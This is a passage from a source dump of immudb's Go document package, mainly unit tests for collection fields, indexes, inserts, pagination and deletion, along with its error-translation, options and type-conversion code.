engine.AddField(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\t&protomodel.Field{\n\t\t\t\tName: \"1invalidFieldName\",\n\t\t\t\tType: protomodel.FieldType_INTEGER,\n\t\t\t},\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t\terr = engine.AddField(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\t&protomodel.Field{\n\t\t\t\tName: \"newFieldName\",\n\t\t\t\tType: protomodel.FieldType(math.MaxInt16),\n\t\t\t},\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrUnsupportedType)\n\t})\n\n\tt.Run(\"removing invalid field should fail\", func(t *testing.T) {\n\t\terr := engine.AddField(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\t\"1invalidCollectionName\",\n\t\t\t&protomodel.Field{\n\t\t\t\tName: \"newFieldName\",\n\t\t\t\tType: protomodel.FieldType_INTEGER,\n\t\t\t},\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t\terr = engine.AddField(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\t&protomodel.Field{\n\t\t\t\tName: \"1invalidFieldName\",\n\t\t\t\tType: protomodel.FieldType_INTEGER,\n\t\t\t},\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\t})\n\n\tt.Run(\"create index with a new field name should succeed\", func(t *testing.T) {\n\t\t_, _, err := engine.InsertDocument(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\t&structpb.Struct{\n\t\t\t\tFields: map[string]*structpb.Value{\n\t\t\t\t\t\"number\":  structpb.NewNumberValue(1),\n\t\t\t\t\t\"title\":   structpb.NewStringValue(\"title1\"),\n\t\t\t\t\t\"comment\": structpb.NewStringValue(\"some comment\"),\n\t\t\t\t},\n\t\t\t})\n\t\trequire.NoError(t, err)\n\n\t\terr = engine.RemoveField(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\t\"title\",\n\t\t)\n\t\trequire.NoError(t, err)\n\n\t\terr = engine.AddField(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\t&protomodel.Field{\n\t\t\t\tName: \"active\",\n\t\t\t\tType: protomodel.FieldType_BOOLEAN,\n\t\t\t},\n\t\t)\n\t\trequire.NoError(t, err)\n\n\t\terr = engine.AddField(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\t&protomodel.Field{\n\t\t\t\tName: \"active\",\n\t\t\t\tType: protomodel.FieldType_BOOLEAN,\n\t\t\t},\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrFieldAlreadyExists)\n\n\t\terr = engine.CreateIndex(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\t[]string{\"active\"},\n\t\t\tfalse,\n\t\t)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.InsertDocument(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\t&structpb.Struct{\n\t\t\t\tFields: map[string]*structpb.Value{\n\t\t\t\t\t\"number\":  structpb.NewNumberValue(1),\n\t\t\t\t\t\"title\":   structpb.NewStringValue(\"title1\"),\n\t\t\t\t\t\"comment\": structpb.NewStringValue(\"some comment\"),\n\t\t\t\t},\n\t\t\t})\n\t\trequire.NoError(t, err)\n\n\t\terr = engine.RemoveField(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\t\"active\",\n\t\t)\n\t\trequire.ErrorIs(t, err, sql.ErrCannotDropColumn)\n\n\t\terr = engine.DeleteIndex(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\t[]string{\"active\"},\n\t\t)\n\t\trequire.NoError(t, err)\n\n\t\terr = engine.RemoveField(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\t\"active\",\n\t\t)\n\t\trequire.NoError(t, err)\n\n\t\terr = engine.RemoveField(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\t\"active\",\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrFieldDoesNotExist)\n\t})\n\n\tt.Run(\"delete index with invalid collection name should fail\", func(t *testing.T) {\n\t\t// update collection\n\t\terr := engine.DeleteIndex(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\t\"1invalidCollectionName\",\n\t\t\t[]string{\"number\"},\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\t})\n\n\tt.Run(\"delete index without fields should fail\", func(t *testing.T) {\n\t\t// update collection\n\t\terr := engine.DeleteIndex(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\t[]string{},\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\t})\n\n\tt.Run(\"delete index with invalid field name should fail\", func(t *testing.T) {\n\t\t// update collection\n\t\terr := engine.DeleteIndex(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\t[]string{\"1invalidFieldName\"},\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\t})\n\n\tt.Run(\"update collection by deleting indexes\", func(t *testing.T) {\n\t\t// update collection\n\t\terr := engine.DeleteIndex(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\t[]string{\"number\"},\n\t\t)\n\t\trequire.NoError(t, err)\n\n\t\t// get collection\n\t\tcollection, err := engine.GetCollection(context.Background(), collectionName)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, collection.Indexes, 1)\n\t})\n\n\tt.Run(\"update collection by adding the same index should pass\", func(t *testing.T) {\n\t\t// update collection\n\t\terr := engine.CreateIndex(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\t[]string{\"number\"},\n\t\t\tfalse,\n\t\t)\n\t\trequire.NoError(t, err)\n\n\t\t// get collection\n\t\tcollection, err := engine.GetCollection(context.Background(), collectionName)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, collection.Indexes, 2)\n\t})\n}\n\nfunc TestBulkInsert(t *testing.T) {\n\tctx := context.Background()\n\tengine := makeEngine(t)\n\n\t// create collection\n\tcollectionName := \"mycollection\"\n\n\terr := engine.CreateCollection(\n\t\tcontext.Background(),\n\t\t\"admin\",\n\t\tcollectionName,\n\t\t\"\",\n\t\t[]*protomodel.Field{\n\t\t\t{Name: \"country\", Type: protomodel.FieldType_STRING},\n\t\t\t{Name: \"price\", Type: protomodel.FieldType_DOUBLE},\n\t\t},\n\t\t[]*protomodel.Index{\n\t\t\t{Fields: []string{\"country\"}},\n\t\t\t{Fields: []string{\"price\"}},\n\t\t},\n\t)\n\trequire.NoError(t, err)\n\n\t// add documents to collection\n\tdocs := make([]*structpb.Struct, 0)\n\n\tfor i := 1.0; i <= 10; i++ {\n\t\tdoc := &structpb.Struct{\n\t\t\tFields: map[string]*structpb.Value{\n\t\t\t\t\"country\": structpb.NewStringValue(fmt.Sprintf(\"country-%d\", int(i))),\n\t\t\t\t\"price\":   structpb.NewNumberValue(i),\n\t\t\t},\n\t\t}\n\t\tdocs = append(docs, doc)\n\t}\n\n\ttxID, docIDs, err := engine.InsertDocuments(ctx, \"admin\", collectionName, docs)\n\trequire.NoError(t, err)\n\trequire.Equal(t, uint64(2), txID)\n\trequire.Len(t, docIDs, 10)\n\n\treader, err := engine.GetDocuments(ctx, &protomodel.Query{CollectionName: collectionName}, 0)\n\trequire.NoError(t, err)\n\tdefer reader.Close()\n\n\tres, err := reader.ReadN(ctx, 10)\n\trequire.NoError(t, err)\n\trequire.Len(t, docs, 10)\n\n\tfor i, doc := range res {\n\t\trequire.Equal(t, float64(i+1), doc.Document.Fields[\"price\"].GetNumberValue())\n\t}\n}\n\nfunc TestPaginationOnReader(t *testing.T) {\n\tctx := context.Background()\n\tengine := makeEngine(t)\n\n\t// create collection\n\tcollectionName := \"mycollection\"\n\n\terr := engine.CreateCollection(\n\t\tcontext.Background(),\n\t\t\"admin\",\n\t\tcollectionName,\n\t\t\"\",\n\t\t[]*protomodel.Field{\n\t\t\t{Name: \"country\", Type: protomodel.FieldType_STRING},\n\t\t\t{Name: \"pincode\", Type: protomodel.FieldType_INTEGER},\n\t\t},\n\t\t[]*protomodel.Index{\n\t\t\t{Fields: []string{\"country\"}},\n\t\t\t{Fields: []string{\"pincode\"}},\n\t\t},\n\t)\n\trequire.NoError(t, err)\n\n\t// add documents to collection\n\tfor i := 1.0; i <= 20; i++ {\n\t\t_, _, err = engine.InsertDocument(ctx, \"admin\", collectionName, &structpb.Struct{\n\t\t\tFields: map[string]*structpb.Value{\n\t\t\t\t\"country\": structpb.NewStringValue(fmt.Sprintf(\"country-%d\", int(i))),\n\t\t\t\t\"pincode\": structpb.NewNumberValue(i),\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\t}\n\n\tt.Run(\"test reader for multiple reads\", func(t *testing.T) {\n\t\tquery := &protomodel.Query{\n\t\t\tCollectionName: collectionName,\n\t\t\tExpressions: []*protomodel.QueryExpression{\n\t\t\t\t{\n\t\t\t\t\tFieldComparisons: []*protomodel.FieldComparison{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tField:    \"pincode\",\n\t\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_GE,\n\t\t\t\t\t\t\tValue:    structpb.NewNumberValue(0),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\treader, err := engine.GetDocuments(ctx, query, 0)\n\t\trequire.NoError(t, err)\n\t\tdefer reader.Close()\n\n\t\tresults := make([]*protomodel.DocumentAtRevision, 0)\n\t\t// use the reader to read paginated documents 5 at a time\n\t\tfor i := 0; i < 4; i++ {\n\t\t\tdocs, err := reader.ReadN(ctx, 5)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, docs, 5)\n\t\t\tresults = append(results, docs...)\n\t\t}\n\n\t\tfor i := 1.0; i <= 20; i++ {\n\t\t\tdoc := results[int(i-1)]\n\t\t\trequire.Equal(t, i, doc.Document.Fields[\"pincode\"].GetNumberValue())\n\t\t}\n\t})\n}\n\nfunc TestDeleteDocument(t *testing.T) {\n\tctx := context.Background()\n\tengine := makeEngine(t)\n\t// create collection\n\tcollectionName := \"mycollection\"\n\terr := engine.CreateCollection(context.Background(), \"admin\", collectionName, \"\", []*protomodel.Field{\n\t\t{Name: \"pincode\", Type: protomodel.FieldType_INTEGER},\n\t\t{Name: \"country\", Type: protomodel.FieldType_STRING},\n\t}, nil)\n\trequire.NoError(t, err)\n\n\t// add document to collection\n\t_, _, err = engine.InsertDocument(context.Background(), \"admin\", collectionName, &structpb.Struct{\n\t\tFields: map[string]*structpb.Value{\n\t\t\t\"pincode\": structpb.NewNumberValue(2),\n\t\t\t\"country\": structpb.NewStringValue(\"wonderland\"),\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\n\tquery := &protomodel.Query{\n\t\tCollectionName: collectionName,\n\t\tExpressions: []*protomodel.QueryExpression{\n\t\t\t{\n\t\t\t\tFieldComparisons: []*protomodel.FieldComparison{\n\t\t\t\t\t{\n\t\t\t\t\t\tField:    \"country\",\n\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_EQ,\n\t\t\t\t\t\tValue:    structpb.NewStringValue(\"wonderland\"),\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tField:    \"pincode\",\n\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_EQ,\n\t\t\t\t\t\tValue:    structpb.NewNumberValue(2),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tLimit: 1,\n\t}\n\n\treader, err := engine.GetDocuments(ctx, query, 0)\n\trequire.NoError(t, err)\n\tdefer reader.Close()\n\n\tdocs, err := reader.ReadN(ctx, 1)\n\trequire.NoError(t, err)\n\trequire.Len(t, docs, 1)\n\n\terr = engine.DeleteDocuments(ctx, \"admin\", nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\terr = engine.DeleteDocuments(ctx, \"admin\", query)\n\trequire.NoError(t, err)\n\n\treader, err = engine.GetDocuments(ctx, query, 0)\n\trequire.NoError(t, err)\n\tdefer reader.Close()\n\n\t_, err = reader.Read(ctx)\n\trequire.ErrorIs(t, ErrNoMoreDocuments, err)\n}\n\nfunc TestGetCollection(t *testing.T) {\n\tengine := makeEngine(t)\n\tcollectionName := \"mycollection1\"\n\n\terr := engine.CreateCollection(\n\t\tcontext.Background(),\n\t\t\"admin\",\n\t\tcollectionName,\n\t\t\"\",\n\t\t[]*protomodel.Field{\n\t\t\t{Name: \"number\", Type: protomodel.FieldType_INTEGER},\n\t\t\t{Name: \"name\", Type: protomodel.FieldType_STRING},\n\t\t\t{Name: \"pin\", Type: protomodel.FieldType_INTEGER},\n\t\t\t{Name: \"country\", Type: protomodel.FieldType_STRING},\n\t\t},\n\t\t[]*protomodel.Index{\n\t\t\t{Fields: []string{\"number\"}},\n\t\t\t{Fields: []string{\"name\"}},\n\t\t\t{Fields: []string{\"pin\"}},\n\t\t\t{Fields: []string{\"country\"}},\n\t\t},\n\t)\n\trequire.NoError(t, err)\n\n\tcollection, err := engine.GetCollection(context.Background(), collectionName)\n\trequire.NoError(t, err)\n\trequire.Equal(t, collectionName, collection.Name)\n\trequire.Len(t, collection.Fields, 5)\n\trequire.Len(t, collection.Indexes, 5)\n\n\texpectedIndexKeys := []*protomodel.Field{\n\t\t{Name: \"_id\", Type: protomodel.FieldType_STRING},\n\t\t{Name: \"number\", Type: protomodel.FieldType_INTEGER},\n\t\t{Name: \"name\", Type: protomodel.FieldType_STRING},\n\t\t{Name: \"pin\", Type: protomodel.FieldType_INTEGER},\n\t\t{Name: \"country\", Type: protomodel.FieldType_STRING},\n\t}\n\n\tfor i, idxType := range expectedIndexKeys {\n\t\trequire.Equal(t, idxType.Name, collection.Fields[i].Name)\n\t\trequire.Equal(t, idxType.Type, collection.Fields[i].Type)\n\t}\n}\n\nfunc TestGetDocuments_WithOrderBy(t *testing.T) {\n\tctx := context.Background()\n\tengine := makeEngine(t)\n\n\tcollectionName := \"mycollection\"\n\n\terr := engine.CreateCollection(\n\t\tcontext.Background(),\n\t\t\"admin\",\n\t\tcollectionName,\n\t\t\"\",\n\t\t[]*protomodel.Field{\n\t\t\t{Name: \"number\", Type: protomodel.FieldType_DOUBLE},\n\t\t\t{Name: \"age\", Type: protomodel.FieldType_DOUBLE},\n\t\t},\n\t\t[]*protomodel.Index{\n\t\t\t{Fields: []string{\"number\", \"age\"}},\n\t\t},\n\t)\n\trequire.NoError(t, err)\n\n\tnoOfDocs := 5\n\n\tfor i := 1; i <= noOfDocs; i++ {\n\t\t_, _, err = engine.InsertDocument(context.Background(), \"admin\", collectionName, &structpb.Struct{\n\t\t\tFields: map[string]*structpb.Value{\n\t\t\t\t\"number\": structpb.NewNumberValue(float64(i)),\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\t}\n\n\tt.Run(\"order by single field\", func(t *testing.T) {\n\t\tquery := &protomodel.Query{\n\t\t\tCollectionName: collectionName,\n\t\t\tExpressions: []*protomodel.QueryExpression{\n\t\t\t\t{\n\t\t\t\t\tFieldComparisons: []*protomodel.FieldComparison{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tField:    \"number\",\n\t\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_LE,\n\t\t\t\t\t\t\tValue:    structpb.NewNumberValue(5),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tOrderBy: []*protomodel.OrderByClause{{\n\t\t\t\tField: \"number\",\n\t\t\t\tDesc:  true,\n\t\t\t}},\n\t\t}\n\n\t\treader, err := engine.GetDocuments(ctx, query, 0)\n\t\trequire.NoError(t, err)\n\t\tdefer reader.Close()\n\n\t\tdocs, err := reader.ReadN(ctx, noOfDocs)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, docs, 5)\n\n\t\ti := noOfDocs\n\t\tfor _, doc := range docs {\n\t\t\trequire.Equal(t, float64(i), doc.Document.Fields[\"number\"].GetNumberValue())\n\t\t\ti--\n\t\t}\n\t})\n}\n\nfunc BenchmarkInsertion(b *testing.B) {\n\tstOpts := store.DefaultOptions().\n\t\tWithMultiIndexing(true).\n\t\tWithMaxConcurrency(100)\n\n\tst, err := store.Open(b.TempDir(), stOpts)\n\trequire.NoError(b, err)\n\n\tdefer func() {\n\t\terr := st.Close()\n\t\tif !b.Failed() {\n\t\t\t// Do not pollute error output if test has already failed\n\t\t\trequire.NoError(b, err)\n\t\t}\n\t}()\n\n\tengine, err := NewEngine(st, DefaultOptions().WithPrefix(docPrefix))\n\trequire.NoError(b, err)\n\n\tcollectionName := \"mycollection\"\n\n\terr = engine.CreateCollection(\n\t\tcontext.Background(),\n\t\t\"admin\",\n\t\tcollectionName,\n\t\t\"\",\n\t\t[]*protomodel.Field{\n\t\t\t{Name: \"number\", Type: protomodel.FieldType_DOUBLE},\n\t\t\t{Name: \"age\", Type: protomodel.FieldType_DOUBLE},\n\t\t},\n\t\t[]*protomodel.Index{\n\t\t\t{Fields: []string{\"number\", \"age\"}},\n\t\t},\n\t)\n\trequire.NoError(b, err)\n\n\tb.ResetTimer()\n\n\tnoOfWorkers := 100\n\tnoOfDocs := 10\n\n\tfor it := 0; it < 1; it++ {\n\t\tvar wg sync.WaitGroup\n\t\twg.Add(noOfWorkers)\n\n\t\tfor w := 0; w < noOfWorkers; w++ {\n\t\t\tgo func(w int) {\n\t\t\t\tfor i := 1; i <= noOfDocs; i++ {\n\t\t\t\t\t_, _, err = engine.InsertDocument(context.Background(), \"admin\", collectionName, &structpb.Struct{\n\t\t\t\t\t\tFields: map[string]*structpb.Value{\n\t\t\t\t\t\t\t\"number\": structpb.NewNumberValue(float64(w*noOfDocs + i)),\n\t\t\t\t\t\t},\n\t\t\t\t\t})\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tb.Fail()\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\twg.Done()\n\t\t\t}(w)\n\t\t}\n\n\t\twg.Wait()\n\t}\n}\n"
  },
  {
    "path": "embedded/document/errors.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\npackage document\n\nimport (\n\t\"errors\"\n\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/embedded/store\"\n)\n\nvar (\n\tErrIllegalArguments        = store.ErrIllegalArguments\n\tErrUnsupportedType         = errors.New(\"unsupported type\")\n\tErrUnexpectedValue         = errors.New(\"unexpected value\")\n\tErrCollectionAlreadyExists = errors.New(\"collection already exists\")\n\tErrCollectionDoesNotExist  = errors.New(\"collection does not exist\")\n\tErrMaxLengthExceeded       = errors.New(\"max length exceeded\")\n\tErrMultipleDocumentsFound  = errors.New(\"multiple documents found\")\n\tErrDocumentNotFound        = errors.New(\"document not found\")\n\tErrNoMoreDocuments         = errors.New(\"no more documents\")\n\tErrFieldAlreadyExists      = errors.New(\"field already exists\")\n\tErrFieldDoesNotExist       = errors.New(\"field does not exist\")\n\tErrReservedName            = errors.New(\"reserved name\")\n\tErrLimitedIndexCreation    = errors.New(\"unique index creation is only supported on empty collections\")\n\tErrConflict                = errors.New(\"conflict due to uniqueness contraint violation or read document was updated by another transaction\")\n)\n\nfunc mayTranslateError(err error) error {\n\tif err == nil {\n\t\treturn nil\n\t}\n\n\tif errors.Is(err, sql.ErrTableAlreadyExists) {\n\t\treturn ErrCollectionAlreadyExists\n\t}\n\n\tif errors.Is(err, sql.ErrTableDoesNotExist) {\n\t\treturn ErrCollectionDoesNotExist\n\t}\n\n\tif errors.Is(err, sql.ErrNoMoreRows) {\n\t\treturn ErrNoMoreDocuments\n\t}\n\n\tif errors.Is(err, sql.ErrColumnAlreadyExists) {\n\t\treturn ErrFieldAlreadyExists\n\t}\n\n\tif errors.Is(err, sql.ErrColumnDoesNotExist) {\n\t\treturn ErrFieldDoesNotExist\n\t}\n\n\tif errors.Is(err, sql.ErrLimitedIndexCreation) {\n\t\treturn ErrLimitedIndexCreation\n\t}\n\n\tif errors.Is(err, store.ErrTxReadConflict) {\n\t\treturn ErrConflict\n\t}\n\n\tif errors.Is(err, store.ErrKeyAlreadyExists) {\n\t\treturn ErrConflict\n\t}\n\n\treturn err\n}\n"
  },
  {
    "path": "embedded/document/errors_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\npackage document\n\nimport (\n\t\"errors\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/embedded/store\"\n)\n\nfunc TestMayTranslateError(t *testing.T) {\n\terrCustom := errors.New(\"custom error\")\n\t// Test cases with different error inputs\n\ttestCases := []struct {\n\t\tinputError error\n\t\texpected   error\n\t}{\n\t\t{nil, nil},\n\t\t{sql.ErrTableAlreadyExists, ErrCollectionAlreadyExists},\n\t\t{sql.ErrTableDoesNotExist, ErrCollectionDoesNotExist},\n\t\t{sql.ErrNoMoreRows, ErrNoMoreDocuments},\n\t\t{sql.ErrColumnAlreadyExists, ErrFieldAlreadyExists},\n\t\t{sql.ErrColumnDoesNotExist, ErrFieldDoesNotExist},\n\t\t{sql.ErrLimitedIndexCreation, ErrLimitedIndexCreation},\n\t\t{store.ErrTxReadConflict, ErrConflict},\n\t\t{store.ErrKeyAlreadyExists, ErrConflict},\n\t\t{errCustom, errCustom},\n\t}\n\n\t// Run the test cases\n\tfor _, tc := range testCases {\n\t\tresult := mayTranslateError(tc.inputError)\n\t\tif result != tc.expected {\n\t\t\tt.Errorf(\"Error translation mismatch. Input: %v, Expected: %v, Got: %v\", tc.inputError, tc.expected, result)\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "embedded/document/options.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\npackage document\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/codenotary/immudb/embedded/store\"\n)\n\nconst DefaultDocumentMaxNestedFields = 3\n\ntype Options struct {\n\tprefix          []byte\n\tmaxNestedFields int\n}\n\nfunc DefaultOptions() *Options {\n\treturn &Options{\n\t\tmaxNestedFields: DefaultDocumentMaxNestedFields,\n\t}\n}\n\nfunc (opts *Options) Validate() error {\n\tif opts == nil {\n\t\treturn fmt.Errorf(\"%w: nil options\", store.ErrInvalidOptions)\n\t}\n\n\treturn nil\n}\n\nfunc (opts *Options) WithPrefix(prefix []byte) *Options {\n\topts.prefix = prefix\n\treturn opts\n}\n\nfunc (opts *Options) WithMaxNestedFields(maxNestedFields int) *Options {\n\topts.maxNestedFields = maxNestedFields\n\treturn opts\n}\n"
  },
  {
    "path": "embedded/document/options_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\npackage document\n\nimport (\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestDefaultOptions(t *testing.T) {\n\t// Call the DefaultOptions function\n\topts := DefaultOptions()\n\n\t// Assert that the returned value is not nil\n\trequire.NotNil(t, opts)\n\n\trequire.Equal(t, DefaultDocumentMaxNestedFields, opts.maxNestedFields)\n}\n\nfunc TestOptionsValidate(t *testing.T) {\n\t// Test case with non-nil options\n\topts := &Options{}\n\terr := opts.Validate()\n\trequire.Nil(t, err, \"Expected no error for non-nil options\")\n\n\t// Test case with nil options\n\tvar nilOpts *Options\n\terr = nilOpts.Validate()\n\trequire.NotNil(t, err, \"Expected error for nil options\")\n\trequire.ErrorIs(t, err, store.ErrInvalidOptions, \"Expected ErrInvalidOptions error\")\n\trequire.Equal(t, \"illegal arguments: invalid options: nil options\", err.Error(), \"Expected specific error message\")\n}\n\nfunc TestOptionsWithPrefix(t *testing.T) {\n\t// Create initial options\n\topts := &Options{}\n\n\t// Call the WithPrefix method\n\tprefix := []byte(\"test\")\n\tnewOpts := opts.WithPrefix(prefix)\n\n\t// Assert that the returned options have the correct prefix\n\trequire.Equal(t, prefix, newOpts.prefix, \"Expected prefix to be set in the new options\")\n}\n\nfunc TestOptionsWithMaxNestedFields(t *testing.T) {\n\topts := DefaultOptions().WithMaxNestedFields(20)\n\n\trequire.Equal(t, 20, opts.maxNestedFields)\n}\n"
  },
  {
    "path": "embedded/document/type_conversions.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\npackage document\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/api/protomodel\"\n\t\"github.com/google/uuid\"\n\n\t\"google.golang.org/protobuf/types/known/structpb\"\n)\n\nvar structValueToSqlValue = func(value *structpb.Value, sqlType sql.SQLValueType) (sql.ValueExp, error) {\n\tif _, ok := value.GetKind().(*structpb.Value_NullValue); ok {\n\t\treturn sql.NewNull(sql.AnyType), nil\n\t}\n\n\tswitch sqlType {\n\tcase sql.VarcharType:\n\t\t_, ok := value.GetKind().(*structpb.Value_StringValue)\n\t\tif !ok {\n\t\t\treturn nil, fmt.Errorf(\"%w: expecting value of type %s\", ErrUnexpectedValue, sqlType)\n\t\t}\n\n\t\treturn sql.NewVarchar(value.GetStringValue()), nil\n\tcase sql.UUIDType:\n\t\t_, ok := value.GetKind().(*structpb.Value_StringValue)\n\t\tif !ok {\n\t\t\treturn nil, fmt.Errorf(\"%w: expecting value of type %s\", ErrUnexpectedValue, sqlType)\n\t\t}\n\n\t\tu, err := uuid.Parse(value.GetStringValue())\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"%w: can not parse '%s' as an UUID\", err, value.GetStringValue())\n\t\t}\n\n\t\treturn sql.NewUUID(u), nil\n\tcase sql.IntegerType:\n\t\t_, ok := value.GetKind().(*structpb.Value_NumberValue)\n\t\tif !ok {\n\t\t\treturn nil, fmt.Errorf(\"%w: expecting value of type %s\", ErrUnexpectedValue, sqlType)\n\t\t}\n\t\treturn sql.NewInteger(int64(value.GetNumberValue())), nil\n\tcase sql.BLOBType:\n\t\t_, ok := value.GetKind().(*structpb.Value_StringValue)\n\t\tif !ok {\n\t\t\treturn nil, fmt.Errorf(\"%w: expecting value of type %s\", ErrUnexpectedValue, sqlType)\n\t\t}\n\n\t\tdocID, err := NewDocumentIDFromHexEncodedString(value.GetStringValue())\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\treturn sql.NewBlob(docID[:]), nil\n\tcase sql.Float64Type:\n\t\t_, ok := value.GetKind().(*structpb.Value_NumberValue)\n\t\tif !ok {\n\t\t\treturn nil, fmt.Errorf(\"%w: expecting value of type %s\", ErrUnexpectedValue, sqlType)\n\t\t}\n\t\treturn sql.NewFloat64(value.GetNumberValue()), nil\n\tcase sql.BooleanType:\n\t\t_, ok := value.GetKind().(*structpb.Value_BoolValue)\n\t\tif !ok {\n\t\t\treturn nil, fmt.Errorf(\"%w: expecting value of type %s\", ErrUnexpectedValue, sqlType)\n\t\t}\n\t\treturn sql.NewBool(value.GetBoolValue()), nil\n\t}\n\n\treturn nil, fmt.Errorf(\"%w(%s)\", ErrUnsupportedType, sqlType)\n}\n\nvar protomodelValueTypeToSQLValueType = func(stype 